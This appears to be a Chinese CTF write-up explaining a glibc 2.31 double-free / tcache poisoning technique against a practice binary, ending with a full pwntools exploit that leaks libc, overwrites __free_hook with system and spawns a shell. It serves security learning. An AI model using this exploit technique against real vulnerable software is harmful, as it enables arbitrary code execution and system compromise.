2.31版本下的UAF(double free)

知识点

引用之前校赛的第二道题目secret,不同的是假如我们删除了edit函数,那就需要用double free来实现对bin中堆块的编辑,但是这又不同于2.23版本,小于0x420的堆块会先进入到tcache bin中,我们要先将tcache bin填满7个,再按照chunk0->chunk1->chunk0的顺序填入fastbin中(double free),之后把tcache bin的7个堆块申请出来,现在tcache bin就没有堆块了,fastbin中还有堆块,这个情况下我们再从fastbin申请一个堆块,首先会将当前的堆块申请出来,然后把它后面的堆块链入tcache bin中,注意由于我们的顺序是chunk0->chunk1->chunk0,那么现在第一个chunk0已经被申请出来,申请的同时修改fd指针为free_hook,还在bin中的chunk0的fd指针也会被修改,那么现在tcache bin中就为chunk1->chunk0->free_hook。之后就正常做了。

例题

把菜单写好

image-20250808110010527

然后申请一个大于0x420的堆块,释放进unsorted bin再申请一段回来,泄露libc地址,从而拿到libc基地址

image-20250808123636974

之后写一个循环,申请4号到12号堆块,接着free前7个堆块,他们会进入tcache bin中

image-20250808123711651

接下来就是double free,由于tcache bin被填满了,接下来释放的堆块会进入fastbin中,我们只有一次UAF的机会,所以将其用在第一个chunk12,这样我们把第三个chunk12申请出来修改fd指针时,bin中的chunk12才可以被修改。

image-20250808140829319

把tcache bin中的堆块申请出来,再申请fastbin中的第一个堆块,该堆块申请出来并修改fd指针为free_hook后,它后面链着的堆块会被链入tcache bin中,那么此时的tcache bin里面也就是11->12->free_hook

image-20250808141032932

最后我们把free_hook申请出来再修改为system即可,常规思路。

image-20250808141421017

完整exp:

from pwn import *

io=process("./double_free")
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
context(os="linux",arch="amd64",log_level="debug")
def add(index,size,content):
io.sendlineafter(b'choice:\n',b'1')
io.sendlineafter(b'index:\n',str(index).encode())
io.sendlineafter(b'size:\n',str(size).encode())
io.sendafter(b'content:\n',content)

def delete(index):
io.sendlineafter(b'choice:\n',b'2')
io.sendlineafter(b'index:\n',str(index).encode())

def show(index):
io.sendlineafter(b'choice:\n',b'4')
io.sendlineafter(b'index:\n',str(index).encode())

def UAF(index):
io.sendlineafter(b'choice:\n',b'777')
io.sendlineafter(b'index:\n',str(index).encode())

add(1,0x420,b"\n")
add(2,0x20,b"\n")

delete(1)

add(3,0x60,b"\n")

show(3)

leak_addr = u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
log.success('leak_addr is -->' + hex(leak_addr))
libc_base = leak_addr - 0x1ecf0a
log.success('libc_base is -->' + hex(libc_base))

free_hook = libc_base + libc.sym['__free_hook']
system = libc_base + libc.sym['system']

for i in range(9):
add(i+4,0x48,b'\n')

for i in range(7):
delete(i+4)

#gdb.attach(io)
UAF(12)
delete(11)
delete(12)
#12 ->11 ->12

for i in range(7):
add(i+4,0x48,b'\n')

add(12,0x48,p64(free_hook))

#11 ->12 -> free_hook

add(13,0x48,b'\n')
add(14,0x48,b'\n')
add(13,0x48,p64(system))
add(14,0x20,b'/bin/sh\x00')
delete(14)

io.interactive()